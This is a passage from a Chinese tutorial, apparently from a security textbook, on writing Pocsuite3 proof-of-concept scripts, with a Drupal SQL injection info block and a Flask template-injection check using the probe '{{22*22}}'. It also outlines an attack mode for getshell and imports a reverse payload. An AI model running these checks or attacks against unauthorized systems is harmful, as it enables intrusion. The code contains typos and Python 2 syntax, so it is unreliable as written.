



下面进行POC脚本的编写。
1)首先新建一个.py文件,文件名应当符合POC命名规范。
2)编写POC实现类DemoPOC,继承自POCBase类:
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocuite3.api import REVERSE_PAYLOAD
from pocsuite3.lib.utils import random_str
class DemoPOC(POCBase):
...
3)填写POC信息字段,需要认真填写所有基本信息字段,规范信息字段以利于查找:
vulID = '1571' # ssvid ID,如果是提交漏洞的同时提交PoC,则写成0
version = '1' #默认为1
author = 'seebug' # POC作者的名字
vulDate = '2014-10-16' #漏洞公开的时间,不明确时可以写今天
createDate = '2014-10-16' # 编写POC的日期
updateDate = '2014-10-16' # POC更新的时间,默认和编写时间一样
references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-
vulnerability.html'] # 漏洞地址来源,0day不用写
name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞POC' # POC名称
appPowerLink = 'https://www.drupal.org/' # 漏洞厂商的主页地址
appName = 'Drupal' # 漏洞应用名称
appVersion = '7.x' # 漏洞影响版本
vulType = 'SQL Injection' #漏洞类型
desc = '''
Drupal 在处理IN语句时,展开数组时key带入SQL语句导致SQL注入,可以添加管理员,造成信
息泄露
''' # 漏洞简要描述
samples = [] # 测试样列,使用POC测试成功的网站
install_requires = []
4)编写验证模式,在_verify方法中写入POC验证脚本:
def _verify(self):
output = Output(self)
# 验证代码
if result: # result表示返回结果
output.success(result)
else:
output.fail('target is not vulnerable')
return output
5)编写攻击模式。用_attack()函数中写入EXP利用脚本,在攻击模式下可以对目标进行getshell、查询管理员账户密码等操作,定义它的方法与检测模式类似:
def _attack(self):
output = Output(self)
result = {}
# 攻击代码
注意: 如果该POC没有攻击模式,可以在_attack()函数下加入return self._verify(),无须再写_attack()函数。
由上可知,Pocsuite框架的方便之处在于,基本的框架已经构造好了,只需填写漏洞扫描的代码,然后通过接收传入的IP地址进行url的构造,在后方加入“/?name=”构造url,向构造好的url发送请求,并判断其返回状态码及payload值,如果返回状态码为200,则代表网页正常请求,若返回的payload值为484,则表示服务器将url传入的payload正常执行,说明此处存在安全漏洞:
def _verify(self):
'''verify mode'''
result = {}
path = "/?name="
url = self.url + path
payload = "{{22*22}}"
#first req
try:
resq = requests.get(url + payload)
if resq and resq.status_code == 200 and "484" in resq.text:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['Name'] = payload
except Exception,e:
pass
return self.parse_output(result)
将模板的_verify方法替换成Flask漏洞检测的脚本便完成了POC的编写,执行效果如图3-3所示。
图3-3 Pocsuite验证漏洞